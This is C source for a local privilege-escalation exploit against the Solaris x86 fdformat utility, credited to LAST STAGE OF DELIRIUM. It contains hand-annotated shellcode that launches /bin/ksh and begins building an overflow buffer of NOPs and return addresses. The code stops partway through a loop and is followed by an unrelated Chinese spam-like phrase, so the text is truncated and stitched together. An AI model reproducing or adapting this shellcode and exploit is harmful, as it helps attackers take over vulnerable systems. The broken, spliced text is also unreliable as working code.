/*## copyright LAST STAGE OF DELIRIUM apr 1998 poland *://lsd-pl.net/ #*/ /*## /bin/fdformat #*/ #define ADRNUM 8 #define NOPNUM 600+8-32 #define PCHNUM 32 char shellcode[]= "\xeb\x1b" /* jmp */ "\x33\xd2" /* xorl %edx,%edx */ "\x58" /* popl %eax */ "\x8d\x78\x14" /* leal 0x14(%eax),edi */ "\x52" /* pushl %edx */ "\x57" /* pushl %edi */ "\x50" /* pushl %eax */ "\xab" /* stosl %eax,%es:(%edi) */ "\x92" /* xchgl %eax,%edx */ "\xab" /* stosl %eax,%es:(%edi) */ "\x88\x42\x08" /* movb %al,0x8(%edx) */ "\x83\xef\x3c" /* subl $0x3c,%edi */ "\xb0\x9a" /* movb $0x9a,%al */ "\xab" /* stosl %eax,%es:(%edi) */ "\x47" /* incl %edi */ "\xb0\x07" /* movb $0x7,%al */ "\xab" /* stosl %eax,%es:(%edi) */ "\xb0\x3b" /* movb $0x3b,%al */ "\xe8\xe0\xff\xff\xff" /* call */ "/bin/ksh" ; char jump[]= "\x8b\xc4" /* movl %esp,%eax */ "\xc3" /* ret */ ; main(int argc,char **argv){ char buffer[3*8192],adr[4],pch[4],*b; int i; printf("copyright LAST STAGE OF DELIRIUM apr 1998 poland //lsd-pl.net/\n"); printf("/bin/fdformat for solaris 2.5 2.5.1 x86\n\n"); *((unsigned long*)adr)=(*(unsigned long(*)())jump)()+23100; *((unsigned long*)pch)=0x01010101; b=buffer; for(i=0;i

亚洲欧美在线